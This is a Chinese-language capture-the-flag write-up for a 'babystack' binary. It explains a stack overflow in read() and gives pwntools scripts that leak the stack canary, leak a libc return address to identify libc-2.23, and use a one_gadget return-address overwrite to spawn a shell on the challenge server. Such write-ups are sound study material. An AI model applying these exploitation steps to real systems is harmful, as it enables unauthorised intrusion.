main函数如下:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char *v3; // rsi
char *v4; // rdi
int v5; // eax
char s; // [rsp+10h] [rbp-90h]
unsigned __int64 v8; // [rsp+98h] [rbp-8h]
v8 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
v3 = 0LL;
v4 = &s;
memset(&s, 0, 0x80uLL);
while ( 1 )
{
sub_4008B9(v4, v3);
v5 = sub_400841();
switch ( v5 )
{
case 2:
puts(&s);
break;
case 3:
return 0LL;
case 1:
v3 = &s;
read(0, &s, 0x100uLL);
break;
default:
sub_400826("invalid choice");
break;
}
v4 = (char *)&unk_400AE7;
sub_400826(&unk_400AE7);
}
}
该题开启了canary保护:
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
分析可得知,v8中存在的就是canary的值,距离为rbp-8h,read函数存在栈溢出,构造payload。
from pwn import *
from LibcSearcher import *
elf = ELF('./babystack')
local = 1
if local == 1:
io = process('./babystack')
#gdb.attach(io,'b * 0x4009E9')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
io = remote('node4.buuoj.cn',25887)
io.recvuntil(">> ")
io.sendline('1')
payload = 'a'*(0x90-0x8-1)+'b'
io.sendline(payload)
io.recvuntil(">> ")
io.sendline('2')
io.recvuntil('b')
canary = u64(io.recv(8))-0xa
log.success('canary:'+hex(canary))
io.interactive()
调试时发现libc_start_main_ret的值的位置在覆盖RIP的位置。所以也可以知道它的值是多少:
减2个1是因为末尾有一个多余的换行符。
from pwn import *
from LibcSearcher import *
elf = ELF('./babystack')
local = 1
if local == 1:
io = process('./babystack')
#gdb.attach(io,'b * 0x4009DD')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
io = remote('node4.buuoj.cn',25887)
io.recvuntil(">> ")
io.sendline('1')
payload = 'a'*(0x90-0x8-1)+'b'
io.sendline(payload)
io.recvuntil(">> ")
io.sendline('2')
io.recvuntil('b')
canary = u64(io.recv(8))-0xa
log.success('canary:'+hex(canary))
io.recvuntil(">> ")
io.sendline('1')
payload2 = 'a'*(0x90+0x8-1-1)+'b'
io.sendline(payload2)
io.recvuntil(">> ")
io.sendline('2')
io.recvuntil('b\n')
libc_start_main_ret = u64(io.recv(6)+'\x00\x00')
log.success('libc_start_main_ret:'+hex(libc_start_main_ret))
io.interactive()
已知libc_start_main_ret的值,就能找到对应的libc版本为libc-2.23-0ubuntu11。
用one_gadget来getshell,最终exp如下:
from pwn import *
from LibcSearcher import *
elf = ELF('./babystack')
local = 0
if local == 1:
io = process('./babystack')
gdb.attach(io,'b * 0x4009DD')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
io = remote('node4.buuoj.cn',26933)
libc = ELF('./libc/libc-2.23-0ubuntu11.so')
io.recvuntil(">> ")
io.sendline('1')
payload = 'a'*(0x90-0x8-1)+'b'
io.sendline(payload)
io.recvuntil(">> ")
io.sendline('2')
io.recvuntil('b')
canary = u64(io.recv(8))-0xa
log.success('canary:'+hex(canary))
io.recvuntil(">> ")
io.sendline('1')
payload2 = 'a'*(0x90+0x8-1-1)+'b'
io.sendline(payload2)
io.recvuntil(">> ")
io.sendline('2')
io.recvuntil('b\n')
libc_start_main_ret = u64(io.recv(6)+'\x00\x00')
log.success('libc_start_main_ret:'+hex(libc_start_main_ret))
libc_addr = libc_start_main_ret - 0x020830
io.recvuntil(">> ")
io.sendline('1')
payload3 = 'a'*(0x90-8)+p64(canary)+p64(0xdeadbeef)+p64(libc_addr + 0xf1147)
io.sendline(payload3)
io.recvuntil(">> ")
io.sendline('3')
io.interactive()